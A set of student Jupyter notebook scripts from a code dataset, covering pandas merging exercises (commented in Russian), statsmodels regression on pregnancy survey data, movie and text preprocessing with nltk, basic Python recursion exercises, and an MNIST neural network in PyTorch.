столбцам:\nratings_dates = pd.concat([ratings, dates_df], axis=1)\ndisplay(ratings_dates.tail(7))\n\n# +\n\n# Вам необходимо написать функцию concat_user_files(path), параметром которой является path - путь до директории. \n# Функция должна объединить информацию из предоставленных вам файлов в один DataFrame и вернуть его. \n# Не забудьте обновить индексы результирующей таблицы после объединения.\n# Учтите тот момент, что в результате объединения могут возникнуть дубликаты, от которых необходимо будет избавиться. \nimport pandas as pd\nimport os\n\ndef concat_users_files(path):\n data = pd.DataFrame()\n file_names = os.listdir(path)\n file_names.sort()\n for file in file_names:\n tmp_data = pd.read_csv(path + '/' + file)\n data = pd.concat([data, tmp_data], axis=0, ignore_index=True)\n data = data.drop_duplicates()\n return data\n\nif __name__ == '__main__':\n data = concat_users_files('./Root/users/')\n print(data)\n \n \n# -\n\n# #### Объединение DataFrame: join, merge\n\n# Если использовать метод join() «в лоб» (без указания ключевого столбца), то объединение произойдёт, как и задумано — \n# по индексам двух таблиц согласно установленному типу объединения.\n# Проверим это, объединив таблицы типом left. Так как в наших таблицах есть одноимённые столбцы, установим один из суффиксов, \n# чтобы избежать ошибки:\njoined_false = ratings_dates.join(\n movies_df,\n rsuffix='_right',\n how='left'\n)\ndisplay(joined_false)\n# Обратите внимание, что в данном случае у нас получилось два столбца, соответствующих идентификатору фильма: \n# один — из «левой» таблицы (movieId), а другой — из «правой» (movieId_right).\n\n# Однако это не тот результат, который мы хотели, ведь мы не получили соответствия фильмов и их рейтингов. \n# Чтобы совместить таблицы по ключевому столбцу с помощью метода join(), необходимо использовать ключевой столбец в «правой» таблице \n# в качестве индекса. Это можно сделать с помощью метода set_index(). \n# Также необходимо указать название ключа в параметре on.\njoined = ratings_dates.join(\n movies_df.set_index('movieId'),\n on='movieId',\n how='left'\n)\ndisplay(joined.head())\n# В результате такого объединения для каждого идентификатора фильма movieId в таблице ratings_dates найден совпадающий с ним идентификатор \n# movieId в таблице movies и присоединена информация о самом фильме (title и genres). Это как раз то, что нам нужно.\n# Обратите внимание, что в результате такого объединения остался лишь один столбец movieId.\n\n# ##### МЕТОД ОБЪЕДИНЕНИЯ MERGE\n\n# Метод merge() в первую очередь предназначен для слияния таблиц по заданным ключам, \n# поэтому он не требует установки ключевых столбцов в качестве индекса присоединяемой таблицы. \n# Кроме того, данный метод позволяет объединять даже таблицы с разноимёнными ключами. \n# Таким образом, merge() проще в использовании и более многофункционален, чем схожие методы.\n# Посмотрим на метод merge() в действии. Произведём слияние наших таблиц и получим ту же таблицу, что и ранее:\nmerged = ratings_dates.merge(\n movies_df,\n on='movieId',\n how='left'\n)\ndisplay(merged.head())\n\n# Проверим, что число строк в таблице ratings_dates совпадает с числом строк в результирующей таблице merged:\nprint('Число строк в таблице ratings_dates: ', ratings_dates.shape[0])\nprint('Число строк в таблице merged: ', merged.shape[0])\nprint(ratings_dates.shape[0] == merged.shape[0])\n\n# ##### ОСОБЕННОСТИ ИСПОЛЬЗОВАНИЯ MERGE()\n\n# Возникает вопрос: почему мы выбрали тип объединения left, а не full, например?\n# Найти ответ нам поможет пример. Объединим ratings_dates с movies по ключевому столбцу movieId, \n# но с параметром how='outer' (full outer) и выведем размер таблицы, а также её «хвост»:\nmerged2 = ratings_dates.merge(\n movies_df,\n on='movieId',\n how='outer'\n)\nprint('Число строк в таблице merged2: ', merged2.shape[0])\ndisplay(merged2.tail())\n# Результирующее число строк в таблице увеличилось. Но за счёт чего?\n# Оказывается, в таблице movies содержались фильмы, которым ещё не были выставлены оценки. \n# В результате объединения типом full outer информация о фильмах перенеслась из таблицы movies в результирующую таблицу. \n# Однако, поскольку оценки фильмам ещё не были выставлены, соответствующие столбцы таблицы ratings_dates заполнились пропусками (NaN). \n# Такие фильмы были записаны в конец таблицы.\n\n# Метод merge() с внешним (outer) типом объединения может использоваться как аналог метода concat() \n# при объединении таблиц с одинаковой структурой (одинаковые количество и названия столбцов) по строкам. \n# В таком случае все одноимённые столбцы таблиц будут считаться ключевыми.\n# Рассмотрим пример: объединим таблицы ratings1 и ratings2, как мы уже делали раньше, но теперь используем метод merge():\nmerge_ratings = rat1_df.merge(rat2_df, how='outer')\nprint('Число строк в таблице merge_ratings: ', merge_ratings.shape[0])\ndisplay(merge_ratings)\n# Обратите внимание, что при использовании метода merge() для склейки двух таблиц у нас автоматически пропали дубликаты, \n# которые мы видели при использовании метода concat(). \n# Это особенность метода merge() — автоматическое удаление дублей.\n\n# +\n# Даны две таблицы: items_df, в которой содержится информация о наличии товаров на складе, и purchase_df — с данными о покупках товаров.\n# \n\nimport pandas as pd\n\nitems_df = pd.DataFrame({\n'item_id': [417283, 849734, 132223, 573943, 19475, 3294095, 382043, 302948, 100132, 312394], \n'vendor': ['Samsung', 'LG', 'Apple', 'Apple', 'LG', 'Apple', 'Samsung', 'Samsung', 'LG', 'ZTE'],\n'stock_count': [54, 33, 122, 18, 102, 43, 77, 143, 60, 19]\n})\n\npurchase_df = pd.DataFrame({\n 'purchase_id': [101, 101, 101, 112, 121, 145, 145, 145, 145, 221],\n 'item_id': [417283, 849734, 132223, 573943, 19475, 3294095, 382043, 302948, 103845, 100132], \n 'price': [13900, 5330, 38200, 49990, 9890, 33000, 67500, 34500, 89900, 11400]\n})\n\"\"\"\nСформируйте DataFrame merged, в котором в результате объединения\npurchase_df и items_df останутся модели, которые учтены на складе и имели продажи. \n\"\"\"\nmerged = items_df.merge(purchase_df, how='inner', on='item_id')\n\"\"\"\nНайдите из таблицы merged суммарную выручку, которую можно было бы получить \nот продажи всех товаров, которые есть на складе. \nРезультат занесите в переменную income.\n\"\"\"\n# merged['total'] =\nincome =(merged['price'] * merged['stock_count']).sum()\nprint (income)\ndisplay (merged)\n# -\n\n# ##### Закрепление знаний\n\n# +\n# Для решения задач нам понадобится выделить из признака title год выпуска фильма. Для этого напишем функцию get_year_release(arg).\n# библиотека для регулярных выражений\n\nimport pandas as pd\nimport re \ndef get_year_release(arg):\n #находим все слова по шаблону \"(DDDD)\"\n candidates = re.findall(r'\\(\\d{4}\\)', arg) \n # проверяем число вхождений\n if len(candidates) > 0:\n #если число вхождений больше 0,\n\t#очищаем строку от знаков \"(\" и \")\"\n year = candidates[0].replace('(', '')\n year = year.replace(')', '')\n return int(year)\n else:\n #если год не указан, возвращаем None\n return None\n# Данная функция основана на регулярных выражениях и использует модуль re, с которым мы пока не работали.\n# Из модуля re нам понадобится только функция findall(), которая позволяет найти в строке все слова, удовлетворяющие шаблону. \n# Мы находим в строке с названием фильма шаблон \"(DDDD)\" — четыре цифры, обёрнутых в скобки, что соответствует году выпуска фильма. \n# Если такого шаблона не было найдено (год выпуска не указан), функция возвращает None (в таблице это будет помечено как пропуск).\n# -\n\n# Создайте в таблице новый признак year_release, который соответствует году выпуска фильма.\n# У скольких фильмов не указан год их выпуска?\njoined = pd.read_csv('data/ratings_movies.csv')\n#joined.head()\njoined['year_release'] = joined['title'].apply(get_year_release)\njoined.info()\n\n\n# Какой фильм, выпущенный в 1999 году, получил наименьшую среднюю оценку зрителей?\nmask = joined['year_release'] == 1999\njoined[mask].groupby('title')['rating'].mean().sort_values()\n\n# Какое сочетание жанров фильмов (genres), выпущенных в 2010 году, получило наименьшую среднюю оценку (rating)?\ndisplay (joined.head())\nmask = joined['year_release'] == 2010\njoined[mask].groupby('genres')['rating'].mean().sort_values()\n\n# Какой пользователь (userId) посмотрел наибольшее количество различных (уникальных) жанров (genres) фильмов? \n# В качестве ответа запишите идентификатор этого пользователя.\n#mask = joined['year_release'] == 2010\njoined.groupby('userId')['genres'].nunique().sort_values(ascending=False)\n\n# Найдите пользователя, который выставил наименьшее количество оценок, но его средняя оценка фильмам наибольшая.\n# В качестве ответа укажите идентификатор этого пользователя.\njoined.groupby('userId')['rating'].mean().sort_values(ascending=False)\n\n# Найдите сочетание жанров (genres) за 2018 году, которое имеет наибольший средний рейтинг (среднее по столбцу rating), \n# и при этом число выставленных ему оценок (количество значений в столбце rating) больше 10.\nmask = joined['year_release'] == 2018\ngrouped = joined[mask].groupby('genres')['rating'].agg(\n['mean', 'count']\n)\ngrouped[grouped['count']>10].sort_values(\nby='mean',\nascending=False\n)\n\n# Добавьте в таблицу новый признак year_rating — год выставления оценки. \n# Создайте сводную таблицу, которая иллюстрирует зависимость среднего рейтинга фильма от года выставления оценки и жанра. \n# Выберите верные варианты ответа, исходя из построенной таблицы:\njoined['date'] = pd.to_datetime(joined['date'])\njoined['year_rating'] = joined['date'].dt.year\npivot = joined.pivot_table(\nindex='year_rating',\ncolumns='genres',\nvalues='rating',\naggfunc='mean'\n)\ndisplay(pivot)\n\n# Дано два файла:\n# orders.csv, содержащий данные о заказах;\n# products.csv, содержащий данные о товарах.\norders_df= pd.read_csv('data/orders.csv', sep=';')\nproducts_df = pd.read_csv('data/products.csv', sep=';')\ndisplay (orders.head())\ndisplay (products.head())\n\n\n# Какой идентификатор (Order ID) имеет заказ, для которого не оказалось информации о товаре?\norders_products = orders_df.merge(\nproducts_df,\nleft_on='ID товара',\nright_on='Product_ID',\nhow='left')\norders_products.tail(1)['Order ID']\n\n# На какой товар была произведена отмена?\norders_products[orders_products['Отменен'] == 'Да']['Name']\n\n# Какой покупатель принёс наибольшую суммарную прибыль интернет-магазину за указанный период?\n# ответ запишите идентификатор этого покупателя (ID Покупателя).\n# Прибыль состоит только из оплаченных заказов и рассчитывается как количество купленного товара, умноженное на его цену.\norders_products['Profit'] = orders_products['Price'] * orders_products['Количество']\norders_products[orders_products['Оплачен'] == 'Да'].groupby('ID Покупателя')['Profit'].sum().sort_values(ascending=False)\n","repo_name":"anton031179/sf_data_science","sub_path":"PYTHON-12 (Pandas)/python-12.ipynb","file_name":"python-12.ipynb","file_ext":"py","file_size_in_byte":39913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"19841633908","text":"from __future__ import print_function, division\n\n# %matplotlib inline\n\nimport numpy as np\nimport pandas as pd\n\nimport random\n\nimport thinkstats2\nimport thinkplot\n# -\n\n# ## Exercises 11.1\n\n# **Exercise:** Suppose one of your co-workers is expecting a baby and you are participating in an office pool to predict the date of birth. Assuming that bets are placed during the 30th week of pregnancy, what variables could you use to make the best prediction? You should limit yourself to variables that are known before the birth, and likely to be available to the people in the pool.\n\nimport first\nlive, firsts, others = first.MakeFrames()\nlive = live[live.prglngth>30]\n\n# The following are the only variables I found that have a statistically significant effect on pregnancy length.\n\n# +\n# added ager columns as independent variable to test the age is statistically significant or not\n# but based on the p-value it seems not significant\n# -\n\nimport statsmodels.formula.api as smf\nmodel = smf.ols('prglngth ~ birthord==1 + race==2 + nbrnaliv>1 + ager', data=live)\nresults = model.fit()\nresults.summary()\n\nimport statsmodels.formula.api as smf\nmodel = smf.ols('prglngth ~ birthord==1 + race==2 + nbrnaliv>1', data=live)\nresults_mlr = model.fit()\nresults_mlr.summary()\n\n# #### Based on the above result generated by statstmodel multiple regression, the variables that would make the best predictions about data of birth are - \n# 1. birth order = 1 - the responsents first child\n# 2. race - race of the responsents\n# 3. number of live births - delivered multiple babies - twins etc\n# 4. age - age of the respondent (ager) - **but this is not statistically significant\n\n# ## Exercises 11.3\n\n# **Exercise:** If the quantity you want to predict is a count, you can use Poisson regression, which is implemented in StatsModels with a function called `poisson`. It works the same way as `ols` and `logit`. As an exercise, let’s use it to predict how many children a woman has born; in the NSFG dataset, this variable is called `numbabes`.\n#\n# Suppose you meet a woman who is 35 years old, black, and a college graduate whose annual household income exceeds $75,000. How many children would you predict she has born?\n\nlive, firsts, others = first.MakeFrames()\nresp = nsfg.ReadFemResp()\nresp.index = resp.caseid\njoin = live.join(resp, on='caseid', rsuffix='_r')\n\n# +\n\nmodel = smf.poisson('numbabes ~ ager==35 + race==1 + educat==16 + totincr', data=join)\nresults_p = model.fit()\nresults_p.summary()\n# -\n\n# Now we can predict the number of children for a woman who is 35 years old, black, and a college\n# graduate whose annual household income exceeds $75,000\n\n# +\n# predict the how many children she has born - \n\ncolumns = ['ager', 'race', 'totincr', 'educat']\ndf = pd.DataFrame([[35, 1, 14, 16]], columns=columns)\nf\"The woman would have {round(results_p.predict(df)[0])} childrens\"\n# -\n\n# ## Exercises 11.3\n\n# **Exercise:** If the quantity you want to predict is categorical, you can use multinomial logistic regression, which is implemented in StatsModels with a function called `mnlogit`. As an exercise, let’s use it to guess whether a woman is married, cohabitating, widowed, divorced, separated, or never married; in the NSFG dataset, marital status is encoded in a variable called `rmarital`.\n#\n# Suppose you meet a woman who is 25 years old, white, and a high school graduate whose annual household income is about $45,000. What is the probability that she is married, cohabitating, etc?\n\nmodel = smf.mnlogit('rmarital ~ ager + C(race) + totincr + educat', data=join)\nresults_mnl = model.fit()\nresults_mnl.summary()\n\n# Make a prediction for a woman who is 25 years old, white, and a high\n# school graduate whose annual household income is about $45,000.\n\ncolumns = ['ager', 'race', 'totincr', 'educat']\ndf_mnl = pd.DataFrame([[25, 2, 11, 12]], columns=columns)\nresults_mnl.predict(df_mnl)\n\n# 0 - Currently married\n# 1 - Not married but living with opp sex partner\n# 2 - widowed\n# 3 - divorced\n# 4 - separated for reasons of marital discord\n# 5 - Never been married\n\n# Based on above results we can say that - there are 74% chances that woman is married or 13% chances that living with opp sex partner or very minimal chances of widowed or divorced or never married, separated etc\n#\n\n# END\n","repo_name":"gkdsc2020/dsc530edapython","sub_path":"Week9_GaneshKale.ipynb","file_name":"Week9_GaneshKale.ipynb","file_ext":"py","file_size_in_byte":4284,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"2759122293","text":"# # Getting data up to 2016\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nplt.style.use('fivethirtyeight')\n\ndf= pd.read_csv('../raw data/movie_metadata.csv')\n\ndf\n\ndf.shape\n\ndf.columns\n\n#we have data upto 2016\ndf.title_year.value_counts(dropna=False).sort_index().plot(kind='barh',figsize=(15,16))\nplt.show()\n\n# recommendation based on this feature\ndf=df.loc[:,['director_name','actor_1_name','actor_2_name','actor_3_name','genres','movie_title']]\ndf\n\ndf['actor_1_name']=df['actor_1_name'].replace(np.nan,'unknown')\ndf['actor_2_name']=df['actor_2_name'].replace(np.nan,'unknown')\ndf['actor_3_name']=df['actor_3_name'].replace(np.nan,'unknown')\ndf['director_name']=df['director_name'].replace(np.nan,'unknown')\n\ndf\n\ndf['genres']=df['genres'].str.replace('|',' ')\ndf\n\ndf['movie_title']=df['movie_title'].str.lower()\n\ndf['movie_title'][1]\n\n# Have to remove terminating char at the end\n\ndf['movie_title']=df['movie_title'].apply(lambda x:x[:-1])\ndf['movie_title'][1]\n\ndf.isna().sum()\n\ndf.to_csv('../clean data/data.csv',index=False)\n","repo_name":"jainalphin/get_your_movie_recommendation","sub_path":"model/preprocessing1.ipynb","file_name":"preprocessing1.ipynb","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"33181308859","text":"# ## Imports\n\n# Pandas, Numpy and Matplotlib\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\n# Import All nltk\nimport nltk\n#nltk.download_shell()\n\n# # Get the Data\n\n# +\n# %%time\n# Set name of file\nfilename = '../data/interim/records.pkl'\n#filename = '../data/interim/samples.pkl'\n\n# Read to DataFrame\ndf = pd.read_pickle(filename)\n# -\n\n# Count records with links to PubMed\ndf[(df['PubMedIds'].apply(len)==0)]['Id'].count()\n\n# Set entries: Choose first N records and count characters in summary\nN_entries = 10000\nentries = pd.DataFrame(df[['Id','summary']].iloc[:N_entries])\nentries['length'] = entries['summary'].apply(len)\nentries.head()\n\n# # Separate Train/Test\n\n# +\n# Set train/total fraction\ntrain_fraction = 0.5\n\n# Construct mask\nmask = np.random.rand(len(entries)) < train_fraction\n\n# Select samples\ntrain_entries = entries[mask]\ntest_entries = entries[~mask]\n\n# Echo shapes\nprint('Shapes Train/Test: ', train_entries.shape, test_entries.shape)\n# -\n\n# # Summary Length Analysis\n\n# +\n# Grab figure and axes\nfig, axes = plt.subplots(nrows=1, ncols=1)\n\n# Plot histograms\ntrain_entries.plot(kind='hist', bins=100, alpha=0.5, ax=axes);\ntest_entries.plot( kind='hist', bins=100, alpha=0.5, ax=axes);\n\n# Set plotting options\naxes.set_xlabel('Length of Summary')\naxes.set_ylabel('Count')\naxes.set_title('Histogram of summary lengths')\naxes.legend(['train','test'])\naxes.set_xlim(0,3000)\n# -\n\n# # Tokenize\n\n# +\n# Import tokenizer\nfrom nltk.tokenize import PunktSentenceTokenizer\n\n# Instantiate and Train custom sentence tokenizer\ncustom_tokenizer = PunktSentenceTokenizer('. '.join(train_entries['summary']))\n\n# +\n# Check first sentence\nprint('_____RAW_____')\nprint(test_entries['summary'].iloc[0])\n\nprint('\\n_____TOKENIZE SENTENCES_____')\nprint(custom_tokenizer.tokenize(test_entries['summary'].iloc[0]))\n# -\n\n# Initialize lemmatizer from nltk\nfrom nltk.stem import WordNetLemmatizer\nlemmatizer = WordNetLemmatizer()\n\n# +\n# Gather nouns for every summary\nfrom nltk.corpus import stopwords\nimport string\n\n# Define column names\ncols = 'Id Tags'.split()\n\n# Define stopwords\nstop_words = set(stopwords.words(\"English\"))\n\n# Define DataFrame\ndf = pd.DataFrame(columns=cols)\n\n# For every summary\nfor index, entry in test_entries.iloc[:250].iterrows():\n \n # Initialize list of nouns\n nouns = set()\n \n # Obtain summary and id\n idd = entry['Id']\n summary = entry['summary']\n \n # Sentence-Tokenize every entry\n for sentence in custom_tokenizer.tokenize(summary):\n \n # Word-tokenize every sentence\n words = nltk.word_tokenize(sentence)\n \n # POS tagg every word\n tags = nltk.pos_tag(words)\n \n # From all tags choose only.....\n for tag in tags:\n \n # Get lemmatized version\n lemmatized = lemmatizer.lemmatize(tag[0].lower())\n \n # Is noun ?\n mask1 = tag[1] in 'NN NNS NNP NNPS'.split() \n \n # Is stop word ?\n mask2 = lemmatized not in stop_words\n \n # Is/Contains punctuation\n mask3 = not bool(set(lemmatized) & set(string.punctuation))\n \n #print(lemmatized, mask1, mask2, mask3, mask1 and mask2 and mask3)\n \n # Only then append\n if mask1 and mask2 and mask3:\n nouns.add(lemmatized)\n \n # Create Record \n record = pd.Series((idd, nouns),index=cols)\n \n # Append entry to DataFrame\n df = df.append(record,ignore_index=True)\n\n# Echo\ndf.head()\n# -\n\n# # Create links between #tags in same summary\n\nlinks = set()\nfor index, record in df.iterrows():\n for tag1 in record['Tags']:\n for tag2 in record['Tags']:\n links.add((tag1, tag2))\nlen(links)\n\n# +\nimport csv\n\nwith open('Links_250.csv', 'w') as outfile:\n w = csv.writer(outfile, delimiter=',', quotechar='\"')\n w.writerow(['Source','Target'])\n for element in links:\n #print(list(element))\n w.writerow(element)\n# -\n\n\n\n\n\n\n\n\n","repo_name":"cchamber/AstraZenecaMar19","sub_path":"notebooks/21_0_L_ExploratoryDataAnalysis.ipynb","file_name":"21_0_L_ExploratoryDataAnalysis.ipynb","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"8488983873","text":"# ### 1. Write a Python Program to Display Fibonacci Sequence Using Recursion?\n\n# +\ndef fibo(n):\n if n==1:\n return 0\n elif n==2:\n return 1\n return(fibo(n-1)+fibo(n-2))\n\nn = int(input(\"Enter the number you want:\"))\nfor i in range(1,n+1):\n print(fibo(i))\n\n\n# -\n\n# ### 2. Write a Python Program to Find Factorial of number Using Recursion?\n\n# +\ndef fact(n):\n if n==0:\n return 1\n return n * fact(n-1)\n\n\nn = int(input(\"Enter the number:\"))\nresult = fact(n)\nprint(result)\n# -\n\n# ### 3. Write a Python Program to calculate your Body Mass Index?\n\nheight = float(input(\"Input your height in Feet: \"))\nweight = float(input(\"Input your weight in Kilogram: \"))\nprint(\"Your body mass index is: \", round(weight / (height * height), 2))\n\n# ### 4. Write a Python Program to calculate the natural logarithm of any number?\n\nimport math\nn = int(input(\"Enter the number:\"))\nprint (\"Natural logarithm of {} is : \".format(n), end=\"\")\nprint (math.log(n))\n\n\n# ### 5. Write a Python Program for cube sum of first n natural numbers?\n\n# +\ndef sumofcube(n):\n sum = 0\n for i in range(1,n+1):\n sum +=i**3\n return sum\n \nn = int(input(\"Enter the number:\"))\nprint(sumofcube(n))\n \n# -\n\n\n\n\n","repo_name":"Dvkale17/iNeuron-Assignment","sub_path":"Python Basic Programming Assignment/Python Basic Programming Assignment - 6.ipynb","file_name":"Python Basic Programming Assignment - 6.ipynb","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"18266041521","text":"# + [markdown] id=\"jy9oaFhuLMQB\"\n# # Implement a two-layer neural network to recognize hand-written digits\n#\n\n# + id=\"i9hUnlyiLMQC\"\n# Uncomment the below line and run to install required packages if you have not done so\n\n# # !pip install torch torchvision matplotlib tqdm\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"mHl8NuHfLMQD\" outputId=\"5c9ffaf6-1415-456d-ac8f-c593e34dcfdd\"\n# Setup\nimport torch\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom torchvision import datasets, transforms, utils\nfrom tqdm import trange\n\n# %matplotlib inline\nDEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n# Set random seed for reproducibility\nseed = 1234\n# cuDNN uses nondeterministic algorithms, set some options for reproducibility\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\ntorch.manual_seed(seed)\n\n# + [markdown] id=\"frvo2eNqLMQE\"\n# ## Get MNIST Data\n# The `torchvision` package provides a wrapper to download MNIST data. The cell below downloads the training and test datasets and creates dataloaders for each.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"M2FcG6WcLMQE\" outputId=\"7b44ecf3-d873-4d7c-dc30-8b3a01199fcd\"\n# Initial transform (convert to PyTorch Tensor only)\ntransform = transforms.Compose([\n transforms.ToTensor(),\n])\n\ntrain_data = datasets.MNIST('data', train=True, download=True, transform=transform)\ntest_data = datasets.MNIST('data', train=False, download=True, transform=transform)\n\n## Use the following lines to check the basic statistics of this dataset\n# Calculate training data mean and standard deviation to apply normalization to data\n# train_data.data are of type uint8 (range 0,255) so divide by 255.\ntrain_mean = train_data.data.double().mean() / 255.\ntrain_std = train_data.data.double().std() / 255.\nprint(f'Train Data: Mean={train_mean}, Std={train_std}')\n\n## Optional: Perform normalization of train and test data using calculated training mean and standard deviation\n# This will convert data to be approximately standard normal\ntransform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((train_mean, ), (train_std, ))\n])\n\ntrain_data.transform = transform\ntest_data.transform = transform\n\nbatch_size = 64\ntorch.manual_seed(seed)\ntrain_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, shuffle=True, num_workers=True)\ntest_loader = torch.utils.data.DataLoader(test_data, batch_size=batch_size, shuffle=False, num_workers=True)\n\n# + [markdown] id=\"J0Z8ja-LLMQE\"\n# ## Part 0: Inspect dataset (0 points)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 862} id=\"oyTrL9YRLMQF\" outputId=\"4412924c-9bec-499f-a98d-ec2b474396a9\"\n# Randomly sample 20 images of the training dataset\n# To visualize the i-th sample, use the following code\n# > plt.subplot(4, 5, i+1)\n# > plt.imshow(images[i].squeeze(), cmap='gray', interpolation='none')\n# > plt.title(f'Label: {labels[i]}', fontsize=14)\n# > plt.axis('off')\n\nfor images, labels in train_loader:\n # Print information and statistics of the first batch of images\n print(\"Images shape: \", images.shape)\n print(\"Labels shape: \", labels.shape)\n print(f'Mean={images.mean()}, Std={images.std()}')\n break\n\nfig = plt.figure(figsize=(12, 10))\n\ndef extract_random_images(data_loader, num_images):\n all_images = []\n all_labels = []\n for image, label in data_loader:\n all_images.append(image)\n all_labels.append(label)\n if len(all_images) * batch_size > 1000:\n break\n all_images = torch.cat(all_images, dim=0)\n all_labels = torch.cat(all_labels, dim=0)\n\n random_choices = np.random.choice(len(all_images), num_images, replace=False)\n random_images = all_images[random_choices]\n random_labels = all_labels[random_choices]\n return random_images, random_labels\n\n\ndef display_images(images, labels, num_images_per_row):\n num_rows = len(images) // num_images_per_row\n\n grid = utils.make_grid(images, nrow=num_images_per_row, padding=True, normalize=True)\n # this gives a 4D tensor of shape (BxCxHxW) - Convert grid to Numpy Array and transpose image.\n # Images in pytorch are in the format (CxHxW) which need to be converted into matlab's format (HxWxC).\n grid_np = grid.numpy().transpose((1, 2, 0))\n\n plt.imshow(grid_np)\n for i in range(len(images)):\n row = i // num_images_per_row\n col = i % num_images_per_row\n\n label_name = labels[i].item()\n # adding label name as text to plot\n plt.text(\n col * (images.shape[3] + 2) + images.shape[3] // 2,\n (row + 1) * (images.shape[2] + 2) - 5,\n label_name,\n fontsize=12,\n ha=\"center\",\n va=\"center\",\n color=\"white\",\n bbox=dict(facecolor=\"black\", alpha=0.5, lw=0),\n )\n\nrnd_images, rnd_labels = extract_random_images(train_loader, 20)\ndisplay_images(rnd_images, rnd_labels, 5)\n\n# + [markdown] id=\"wMANeYnwLMQF\"\n# ## Part 1: Implement a two-layer neural network\n#\n# Write a class that constructs a two-layer neural network. The class consists of two methods, an initialization that sets up the architecture of the model, and a forward pass function given an input feature.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"2d0BUV8ILMQF\" outputId=\"067b0136-cfde-4e82-999c-79624d84c0ab\"\ninput_size = 1 * 28 * 28 # input spatial dimension of images\nhidden_size = 128 # width of hidden layer\noutput_size = 10 # number of output neurons\n\nclass MNISTClassifierMLP(torch.nn.Module):\n\n def __init__(self):\n\n super().__init__()\n self.flatten = torch.nn.Flatten(start_dim=1)\n # ------------------\n # Write your implementation here.\n\n self.fc1 = torch.nn.Linear(784, 128)\n self.act = torch.nn.ReLU()\n self.fc2 = torch.nn.Linear(128, 10)\n self.log_softmax = torch.nn.LogSoftmax()\n\n # ------------------\n\n def forward(self, x):\n # Input image is of shape [batch_size, 1, 28, 28]\n # Need to flatten to [batch_size, 784] before feeding to fc1\n x = self.flatten(x)\n\n # ------------------\n # Write your implementation here.\n x = self.fc1(x)\n x = self.act(x)\n x = self.fc2(x)\n x = self.log_softmax(x)\n y_output = x\n return y_output\n # ------------------\n\nmodel = MNISTClassifierMLP().to(DEVICE)\n\n# sanity check\nprint(model)\n\n\n# + [markdown] id=\"DzZItyQ5LMQF\"\n# ## Part 2: Implement an optimizer to train the neural net model\n#\n# Write a method called `train_one_epoch` that runs one step using the optimizer.\n\n# + id=\"jNlbezoGLMQG\"\ndef train_one_epoch(train_loader, model, device, optimizer, log_interval, epoch):\n model.train()\n losses = []\n counter = []\n criterion = torch.nn.NLLLoss()\n for i, (img, label) in enumerate(train_loader):\n img, label = img.to(device), label.to(device)\n\n # ------------------\n # Write your implementation here.\n optimizer.zero_grad()\n output = model(img)\n best_pred = torch.argmax(output, dim=1)\n\n\n loss = criterion(output, label)\n\n loss.backward()\n optimizer.step()\n # ------------------\n\n # Record training loss every log_interval and keep counter of total training images seen\n if (i+1) % log_interval == 0:\n losses.append(loss.item())\n counter.append(\n (i * batch_size) + img.size(0) + epoch * len(train_loader.dataset))\n\n return losses, counter\n\n\n# + [markdown] id=\"_yAOwOjELMQG\"\n# ## Part 3: Run the optimization procedure and test the trained model\n#\n# Write a method called `test_one_epoch` that evalutes the trained model on the test dataset. Return the average test loss and the number of samples that the model predicts correctly.\n\n# + id=\"ooDqUa4oLMQG\"\ndef test_one_epoch(test_loader, model, device):\n model.eval()\n test_loss = 0\n num_correct = 0\n criterion = torch.nn.NLLLoss()\n with torch.no_grad():\n for i, (img, label) in enumerate(test_loader):\n img, label = img.to(device), label.to(device)\n\n # ------------------\n # Write your implementation here.\n\n output = model(img)\n pred = torch.argmax(output, dim=1) # Get index of largest log-probability and use that as prediction\n num_correct += (pred == label).sum().item()\n loss = criterion(output, label)\n test_loss += loss.item()\n\n # ------------------\n\n test_loss /= len(test_loader.dataset)\n return test_loss, num_correct\n\n\n# + [markdown] id=\"h30tITdFLMQG\"\n# Train the model using the cell below. Hyperparameters are given.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"uG3LU_qpLMQH\" outputId=\"b520620a-3bf6-4fb9-bf93-b11881f58268\"\n# Hyperparameters\nlr = 0.01\nmax_epochs=10\ngamma = 0.95\n\n# Recording data\nlog_interval = 100\n\n# Instantiate optimizer (model was created in previous cell)\noptimizer = torch.optim.SGD(model.parameters(), lr=lr)\n\ntrain_losses = []\ntrain_counter = []\ntest_losses = []\ntest_correct = []\nfor epoch in trange(max_epochs, leave=True, desc='Epochs'):\n train_loss, counter = train_one_epoch(train_loader, model, DEVICE, optimizer, log_interval, epoch)\n test_loss, num_correct = test_one_epoch(test_loader, model, DEVICE)\n\n # Record results\n train_losses.extend(train_loss)\n train_counter.extend(counter)\n test_losses.append(test_loss)\n test_correct.append(num_correct)\n\nprint(f\"Test accuracy: {test_correct[-1]/len(test_loader.dataset)}\")\n\n# + [markdown] id=\"W9Tv3jQFLMQH\"\n# ## Part 4: Inspection\n#\n# 1. Plot the loss curve as the number of epochs increases.\n#\n# 2. Show the predictions of the first 20 images of the test set.\n#\n# 3. Show the first 20 images that the model predicted incorrectly. Discuss about some of the common scenarios that the model predicted incorrectly.\n#\n# 4. Go back to Part 0, where we created the tranform component to apply on the training and test datasets. Re-run the code by uncommenting the normalization step, so that the training and test dataset have mean zero and unit variance. Report the result after this normalization step again.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 754} 